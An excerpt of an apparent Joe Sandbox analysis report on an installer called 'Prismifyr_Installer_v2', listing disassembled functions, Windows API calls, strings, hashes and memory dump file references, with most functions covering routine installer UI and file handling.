Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Remove folder: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\
API String ID: 2531174081-3048722481
Opcode ID: 03d69ce82fc4e5908464ead601bb3ac1f64f2a51dd32175340e58c4215b781fb
Instruction ID: c4a8b4fbc7344707c8dcd13f789004ac01d88f238d1262f53b2d1dabcf784db2
Opcode Fuzzy Hash: 03d69ce82fc4e5908464ead601bb3ac1f64f2a51dd32175340e58c4215b781fb
Instruction Fuzzy Hash: 1F21A171900518BBCB11AFA5DD849CFBFB9EF45350F10807AF904B62A0C7B94A80DFA8

Function 00404298 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042B5
GetSysColor.USER32(00000000), ref: 004042F3
SetTextColor.GDI32(?,00000000), ref: 004042FF
SetBkMode.GDI32(?,?), ref: 0040430B
GetSysColor.USER32(?), ref: 0040431E
SetBkColor.GDI32(?,?), ref: 0040432E
DeleteObject.GDI32(?), ref: 00404348
CreateBrushIndirect.GDI32(?), ref: 00404352

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: a3c6a1d12b74a4a342abaca89036a15a37f51972f1e3113ed1cbee018e9c0b42
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 772156716007059BC724DF78D948B5B77F4AF81710B04893DED96A26E0D734E544CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405E91: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405EA7

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 14dc679b194e2ee8669cd1598f353bf1a997ac59cdf020ac1a3b5a5ea93b2031
Instruction ID: 75c70889326ed48cf653b65eedce39ba48716a77e36bbd16e72a3e0392bfe49c
Opcode Fuzzy Hash: 14dc679b194e2ee8669cd1598f353bf1a997ac59cdf020ac1a3b5a5ea93b2031
Instruction Fuzzy Hash: 9C511975D00219AEDF219F95DA88AAEB779FF04304F10443BE901B72D0DBB89982CB58

Function 00404BEC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404C07
GetMessagePos.USER32 ref: 00404C0F
ScreenToClient.USER32(?,?), ref: 00404C29
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404C3B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C61

Strings

f, xrefs: 00404C3D

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: 457ccdd811883e010b73e4973708530e0d9e00004b69c5e73a61d7a3cd07de8f
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: CF015271900218BAEB10DBA4DD85BFEBBBCAF95711F10412BBA50B71D0D7B499018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0041E5D0), ref: 00401E3E

Strings

MS Shell Dlg, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: MS Shell Dlg
API String ID: 3808545654-76309092
Opcode ID: 0e1e500c30e805fc948415589c08143fac03f34b0e69f739ebe91b2620e6c296
Instruction ID: 2f87ef527a079fcd98b3174ff93e15f92fad6858fb92d4176ae60913c966d855
Opcode Fuzzy Hash: 0e1e500c30e805fc948415589c08143fac03f34b0e69f739ebe91b2620e6c296
Instruction Fuzzy Hash: 1A01B575604240BFE700ABF1AE0ABDD7FB5AB55309F10887DF641B61E2DA7840458B2D

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(05DD611C,00000064,05DD6120), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 087799c81dd47644162d60d698aafe3a885b0c6ac9c219555e2ca42e9c1670eb
Instruction ID: dfd142ddc65d39fdaa73b229a9921dc7c235b7e072e3123d651e00bd55f03bcf
Opcode Fuzzy Hash: 087799c81dd47644162d60d698aafe3a885b0c6ac9c219555e2ca42e9c1670eb
Instruction Fuzzy Hash: 60014F7164020CABEF209F60DE49FAE3B69AB44304F008439FA06B51E0DBB895558B98

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ff87bf99e36aab27b6384dee017154e4bdeff7ac382f3b09721b2446f84e6f42
Instruction ID: 85d8fb478e53a7d33050a02afe9876517184a336e4e72b82bbd0c3cba42884f9
Opcode Fuzzy Hash: ff87bf99e36aab27b6384dee017154e4bdeff7ac382f3b09721b2446f84e6f42
Instruction Fuzzy Hash: D121AEB1800128BBDF116FA5DE89DDE7E79EF08364F14423AF960762E0CB794C418B98

Function 0040654E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065B1
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004065C0
CharNextW.USER32(?,00000000,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065C5
CharPrevW.USER32(?,?,004DF000,004DF000,004CB000,0040336A,004DF000,76233420,004035D9,?,00000006,00000008,0000000A), ref: 004065D8

Strings

*?|<>/":, xrefs: 004065A0

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction ID: 36fae6fd7d65e337959ab81909abbfc549fe516cf0b4c9ff473ab524d2c4c229
Opcode Fuzzy Hash: f2dbc7d310367101a7bf5127f564121aa95c210a65fb008c6410ea5a4ac792ac
Instruction Fuzzy Hash: B611B65580061279DB302B14BC40EB762F8EF54764F56403FED86732C8EBBC5C9292AD

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll,00002000,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll,?,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll,00002000,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsyC753.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsyC753.tmp$C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll
API String ID: 3109718747-2970863816
Opcode ID: 991fae946bdf019a7c315e2a20c045ecd4589044c4e58f1009f440a7fe048d5b
Instruction ID: b23dc685b5da5394ac89c8ab13f2cbf985e24fd8d9932a4f5164fd221fdd45c5
Opcode Fuzzy Hash: 991fae946bdf019a7c315e2a20c045ecd4589044c4e58f1009f440a7fe048d5b
Instruction Fuzzy Hash: 76110B72A04201BADB146FF18E89A9F76659F44398F204C3FF102F61D1EAFC89415B5D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: aa13740a01abf0a12383255fbb6bacfc07128faef757ca7dce2eb0223a04ec7c
Instruction ID: d9fd13ec482603559a9c09f77eb5ae76b99fbdc016b4c624d38ebcad95bf5f4c
Opcode Fuzzy Hash: aa13740a01abf0a12383255fbb6bacfc07128faef757ca7dce2eb0223a04ec7c
Instruction Fuzzy Hash: 28F0FF72A04518AFDB01DBE4DF88CEEB7BCEB48341B14047AF641F61A0CA749D519B78

Function 00404ADE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00450248,00450248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
wsprintfW.USER32 ref: 00404B88
SetDlgItemTextW.USER32(?,00450248), ref: 00404B9B

Strings

%u.%u%s%s, xrefs: 00404B69

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

